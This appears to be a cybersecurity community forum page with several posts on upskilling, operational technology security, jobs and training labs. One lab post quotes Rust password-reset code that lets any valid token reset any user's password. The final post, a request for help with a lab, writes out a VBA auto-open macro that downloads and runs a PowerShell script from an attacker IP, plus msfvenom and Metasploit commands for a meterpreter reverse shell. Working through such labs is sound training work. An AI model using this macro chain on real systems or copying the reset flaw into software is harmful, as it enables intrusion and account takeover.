The Importance of Curating a Culture of Upskilling & Career Progression, rather than Mandatory Training.
As cyber professionals, we know how important it is for teams to stay up to date in order to evidence their readiness to respond to the latest threats. But what can we do to curate a culture of upskilling & career progression, rather than mandatory training? ✍️ We want to hear from you! Have you achieved success in these efforts? If so, how? How does the culture surrounding upskilling affect employee morale and retention? What tips would you give to someone just beginning this cultural shift? How can this culture be used in areas other than cyber? Comment below! ⬇️Why I don't like: Find the Flaw
After done almost all "Find the Flaw" labs I'm trying to give a feedback about this mode. On one hand it's quite handy and nice, to see and define flaws and link them to the corresponding CWE. But sometimes it takes time... very long time (for 20 pts!). Here's an example, I want to share which I'm struggling with and which does not makes sense for me - and there are many FtF labs like this which are forcing me to do try and error. Let's take "Find the Flaw: Rust – Identification and Authentication Failures". You'll have a code like (for brevity I've shortend it a little bit): ... #[derive(Deserialize)] struct PasswordForm { token: String, password: String, } #[derive(Deserialize)] struct UserIdQuery { user_id: String, } async fn reset_password( Query(user_id_query): Query<UserIdQuery>, pool: axum::extract::Extension<SqlitePool>, Form(form): Form<PasswordForm>, ) -> Html<String> { let user_id = user_id_query.user_id; let token = form.token; let password = form.password; if password.len() < 8 || !password.chars().any(|c| c.is_lowercase()) { return Html("Password must be at least 8 characters long and contain at least one lowercase letter.".to_string()); } let hashed_password = sha256(password.as_bytes()); let hashed_password_hex = hex::encode(hashed_password); let pool = pool.0; let result = query("SELECT user_id FROM password_resets WHERE token = ?").bind(token) .fetch_optional(&pool) .await; match result { Ok(Some(_)) => { let update_result = query( "UPDATE users SET password = ? WHERE id = ?") .bind(hashed_password_hex) .bind(user_id) .execute(&pool) .await; ... } pub async fn main() -> Result<(), std::io::Error> { ... .route("/reset_password", post(reset_password)) ... so, on the first glimpse you'll notice: let result = query("SELECT user_id FROM password_resets WHERE token = ?").bind(token) .fetch_optional(&pool) .await; and you think: cool, as long as I have a valid token I can reset ANY password, because the UserIdQuery holds the user_id from the query parameters. That must be the error. And it's clearly CWE-640 - Weak Password Recovery Mechanism for Forgotten Password. Boom! But lab says: "Correct Vulnerability but Incorrect Line" Then you say, ok.. something might be missing... or too much. you'll remove lines, 3... 2.. 1.. nothing. maybe I need to add the update password procedure? so let's click the lines on: let result = query("SELECT user_id FROM password_resets WHERE token = ?") .bind(token) .fetch_optional(&pool) .await; and... ? "Correct Vulnerability but Incorrect Line" now you start clicking on 1 up to 7 lines in all different combinations (no .await, but .bind) but: "Correct Vulnerability but Incorrect Line" You add another part of the code, which could make sense like: let user_id = user_id_query.user_id; let token = form.token; let password = form.password; Again here you start shuffling all the options (now you click between 1 up to 10 lines in all different variations) but all you get is this "Correct Vulnerability but Incorrect Line". You read again the hint you've got with the wrong answer: "Consider how the password is being reset". Yes I did, really! All the time! and so on and so on... probably I've clicked now hundreds of different combinations and so on and I start believing there's a bug in the lab (would not be the first one on this collection). So, how is it for you those "Find the flaw" labs? You like them? You struggle with them? greetings -steven ps: If you have the solution or any other hint for this one, ping me :)
Operational Technology a Concern?
"Hey Immersive Labs community, I'm curious about your experiences with Operational Technology (OT) in your organizations. With the increasing convergence of IT and OT across healthcare, education, and various industries, I'm seeing more medical devices, building automation systems, and industrial control systems becoming part of our daily operations. A few questions for the community: How are you currently handling OT security challenges in your environment? What knowledge gaps do you see in your teams when it comes to securing OT systems? For those in healthcare or campus environments - what specific OT challenges keep you up at night? What skills do you wish your teams had to better manage OT security? I believe this is becoming increasingly important as more connected devices and control systems enter our networks. Would love to hear your thoughts and experiences - both challenges and successes. Looking forward to learning from everyone's perspectives!"
Wondering about potential jobs offered after completion of labs....
Hi - I was wondering about the jobs available after completing the labs. I've been a support engineer for five years now, most recently a senior engineer at a Silicon Valley MSP. I've already earned a one-year college Cybersecurity Networking certification from a community college (with a 3.9 GPA) and the Security+. Can someone give me an idea of potential companies? Also are any of the positions remote? I live in the northern California mountains....
Weaponization: Payloads – Office Macros
I've been banging my head against this brick wall for a few hours now and I could use a second set of eyes. 1. I've created a macro enabled word doc with the following vb code on windows machine: Sub Document_Open() Dim ps as String ps = "powershell.exe -NoExit Invoke-Expression (New-Object Net.WebClient).DownloadString('http://MY_KALI_IP/shell.ps1')" process = Shell(ps, vbhide) End Sub 2. python3 -m http.server to start server to serve shell.ps1 on request 3. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f psh > shell.ps1 to create reverse shell with same name the command in the macro script will go looking for 4. create listener with sudo msfconsole, use exploit/multi/handler, set payload windows/meterpreter/reverse_tcp, set LHOST KALI IP, set LPORT 443 then exploit to start listener 5. back on windows machine, go to target_ip:8888, browse to macro doc, submit and execute. What am I missing?
